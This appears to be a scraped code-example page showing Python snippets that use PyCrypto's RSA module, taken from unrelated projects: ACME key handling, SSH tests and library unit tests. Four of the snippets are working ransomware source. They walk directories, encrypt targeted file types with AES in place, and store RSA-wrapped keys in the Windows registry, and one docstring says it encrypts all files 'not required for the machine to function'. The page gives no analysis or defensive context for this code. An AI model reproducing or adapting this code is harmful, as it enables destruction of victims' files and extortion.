Python PublicKey.RSA属性代码示例

# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def _jws(self):
        """ Return JWS dict from string account key """
        with open(self.account_key, 'r') as fd:
            key = fd.read()
        pk = OpenSSL.crypto.load_privatekey(OpenSSL.crypto.FILETYPE_PEM, key)
        pk_asn1 = OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_ASN1, pk)
        k = Crypto.PublicKey.RSA.importKey(pk_asn1)
        # private key public exponent in hex format
        exponent = "{0:x}".format(k.e)
        exponent = "0{0}".format(exponent) if len(exponent) % 2 else exponent
        # private key modulus in hex format
        modulus = "{0:x}".format(k.n)
        header = {
            "alg": "RS256",
            "jwk": {
                "e": self._b64(binascii.unhexlify(exponent.encode('utf8'))),
                "kty": "RSA",
                "n": self._b64(binascii.unhexlify(modulus.encode('utf8')))}}
        return header 

# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def _iter_files(rsa_key, base_dir=None):
    try:
        if isinstance(rsa_key, Crypto.PublicKey.RSA.RsaKey):
            if base_dir:
                if os.path.isdir(base_dir):
                    return os.path.walk(base_dir, lambda _, dirname, files: [globals()['tasks'].put_nowait((encrypt_file, (os.path.join(dirname, filename), rsa_key))) for filename in files], None)
                else:
                    util.log("Target directory '{}' not found".format(base_dir))
            else:
                cipher = Crypto.Cipher.PKCS1_OAEP.new(rsa_key)
                reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, globals()['registry_key'], 0, _winreg.KEY_READ)
                i = 0
                while True:
                    try:
                        filename, key, _ = _winreg.EnumValue(reg_key, i)
                        key = cipher.decrypt(base64.b64decode(key))
                        globals()['tasks'].put_nowait((decrypt_file, (filename, key)))
                        i += 1
                    except:
                        _winreg.CloseKey(reg_key)
                        break
    except Exception as e:
        util.log('{} error: {}'.format(_iter_files.__name__, str(e))) 

# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def encrypt_files(args):
    """
    Encrypt all files that are not required for the machine to function

    `Required`
    :param str args:    filename and RSA key separated by a space

    """
    try:
        target, _, rsa_key = args.partition(' ')
        if os.path.exists(target):
            if not isinstance(rsa_key, Crypto.PublicKey.RSA.RsaKey):
                rsa_key = Crypto.PublicKey.RSA.importKey(rsa_key)
            if not rsa_key.can_encrypt():
                return "Error: RSA key cannot encrypt"
            if os.path.isfile(target):
                return encrypt_file(target, rsa_key)
            if os.path.isdir(target):
                globals()['threads']['iter_files'] = _iter_files(rsa_key, base_dir=target)
                globals()['threads']['encrypt_files'] = _threader()
                return "Encrypting files"
        else:
            return "File '{}' does not exist".format(target)
    except Exception as e:
        util.log("{} error: {}".format(encrypt_files.__name__, str(e))) 

# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def decrypt_files(rsa_key):
    """
    Decrypt all encrypted files on host machine

    `Required`
    :param str rsa_key:     RSA private key in PEM format

   """
    try:
        if not isinstance(rsa_key, Crypto.PublicKey.RSA.RsaKey):
            rsa_key = Crypto.PublicKey.RSA.importKey(rsa_key)
        if not rsa_key.has_private():
            return "Error: RSA key cannot decrypt"
        globals()['threads']['iter_files'] = _iter_files(rsa_key)
        globals()['threads']['decrypt_files'] = _threader()
        return "Decrypting files"
    except Exception as e:
        util.log("{} error: {}".format(decrypt_files.__name__, str(e))) 

# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def execute(self, args, p, preargs = ''):
        cmdline = ('ssh -2 -l testuser -p %i '
                   '-oUserKnownHostsFile=kh_test '
                   '-oPasswordAuthentication=no '
                   # Always use the RSA key, since that's the one in kh_test.
                   '-oHostKeyAlgorithms=ssh-rsa '
                   '-a '
                   '-i dsa_test ') + preargs + \
                   ' 127.0.0.1 ' + args
        port = self.server.getHost().port
        ssh_path = None
        for path in ['/usr', '', '/usr/local']:
            if os.path.exists(path+'/bin/ssh'):
                ssh_path = path+'/bin/ssh'
                break
        if not ssh_path:
            log.msg('skipping test, cannot find ssh')
            raise unittest.SkipTest, 'skipping test, cannot find ssh'
        cmds = (cmdline % port).split()
        reactor.spawnProcess(p, ssh_path, cmds)
        return p.deferred 

# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def setUp(self):
        self.randText = ''.join([random.choice(string.letters) for i in range(10)])

        pubPath = os.path.join(basePath, 'config', 'test_key.pub')
        privPath = os.path.join(basePath, 'config', 'test_key')

        if not os.path.isfile(pubPath) or not os.path.isfile(privPath):
            raise SkipTest('could not access RSA keypair in config folder')

        self.rsa = Rsa()

        # set some parameters
        for e in self.rsa.params['sending']:
            if e.name == 'publicKey':
                e.value = pubPath

        for e in self.rsa.params['receiving']:
            if e.name == 'privateKey':
                e.value = privPath 

# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def __init__(self):
        try:
            from Crypto.PublicKey import RSA as r
            from Crypto.Hash import SHA as s
            from Crypto.Signature import PKCS1_v1_5 as p
            self.RSA, self.SHA, self.PKCS1_v1_5 = r, s, p
        except ImportError:  # pragma: no cover
            raise NotImplementedError("PyCrypto is required for " + self.NAME) 

# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def encrypt_file(filename, rsa_key):
    """
    Encrypt a file with AES-256-OCB symmetric encryption
    using a randomly generated key, encrypt the key
    with RSA-2048 asymmetric encryption, then store the
    filename and RSA-encrypted AES-key as a key in the
    Windows Registry

    `Requires`
    :param str filename:          target filename
    :param RsaKey rsa_key:        2048-bit public RSA key

    Returns True if succesful, otherwise False

    """
    try:
        if os.path.isfile(filename):
            if os.path.splitext(filename)[1] in globals()['filetypes']:
                if isinstance(rsa_key, Crypto.PublicKey.RSA.RsaKey):
                    cipher = Crypto.Cipher.PKCS1_OAEP.new(rsa_key)
                    aes_key = os.urandom(32)
                    with open(filename, 'rb') as fp:
                        data = fp.read()
                    ciphertext = encrypt_aes(data, aes_key)
                    with open(filename, 'wb') as fd:
                        fd.write(ciphertext)
                    key = base64.b64encode(cipher.encrypt(aes_key))
                    util.registry_key(globals()['registry_key'], filename, key)
                    util.log('{} encrypted'.format(filename))
                    return True
        else:
            util.log("File '{}' not found".format(filename))
    except Exception as e:
        util.log("{} error: {}".format(encrypt_file.__name__, str(e)))
    return False 

# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def setUp(self):
        global RSA, Random, bytes_to_long
        from Crypto.PublicKey import RSA
        from Crypto import Random
        from Crypto.Util.number import bytes_to_long, inverse
        self.n = bytes_to_long(a2b_hex(self.modulus))
        self.p = bytes_to_long(a2b_hex(self.prime_factor))

        # Compute q, d, and u from n, e, and p
        self.q = self.n // self.p
        self.d = inverse(self.e, (self.p-1)*(self.q-1))
        self.u = inverse(self.p, self.q)    # u = e**-1 (mod q)

        self.rsa = RSA 

# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def test_generate_1arg(self):
        """RSA (default implementation) generated key (1 argument)"""
        rsaObj = self.rsa.generate(1024)
        self._check_private_key(rsaObj)
        self._exercise_primitive(rsaObj)
        pub = rsaObj.publickey()
        self._check_public_key(pub)
        self._exercise_public_primitive(rsaObj) 

# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def test_generate_2arg(self):
        """RSA (default implementation) generated key (2 arguments)"""
        rsaObj = self.rsa.generate(1024, Random.new().read)
        self._check_private_key(rsaObj)
        self._exercise_primitive(rsaObj)
        pub = rsaObj.publickey()
        self._check_public_key(pub)
        self._exercise_public_primitive(rsaObj) 

# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def test_construct_2tuple(self):
        """RSA (default implementation) constructed key (2-tuple)"""
        pub = self.rsa.construct((self.n, self.e))
        self._check_public_key(pub)
        self._check_encryption(pub) 

# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def test_construct_3tuple(self):
        """RSA (default implementation) constructed key (3-tuple)"""
        rsaObj = self.rsa.construct((self.n, self.e, self.d))
        self._check_encryption(rsaObj)
        self._check_decryption(rsaObj) 

# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def test_construct_5tuple(self):
        """RSA (default implementation) constructed key (5-tuple)"""
        rsaObj = self.rsa.construct((self.n, self.e, self.d, self.p, self.q))
        self._check_private_key(rsaObj)
        self._check_encryption(rsaObj)
        self._check_decryption(rsaObj) 

# 需要导入模块: from Crypto import PublicKey [as 别名]
# 或者: from Crypto.PublicKey import RSA [as 别名]
def test_construct_6tuple(self):
        """RSA (default implementation) constructed key (6-tuple)"""
        rsaObj = self.rsa.construct((self.n, self.e, self.d, self.p, self.q, self.u))
        self._check_private_key(rsaObj)
        self._check_encryption(rsaObj)
        self._check_decryption(rsaObj)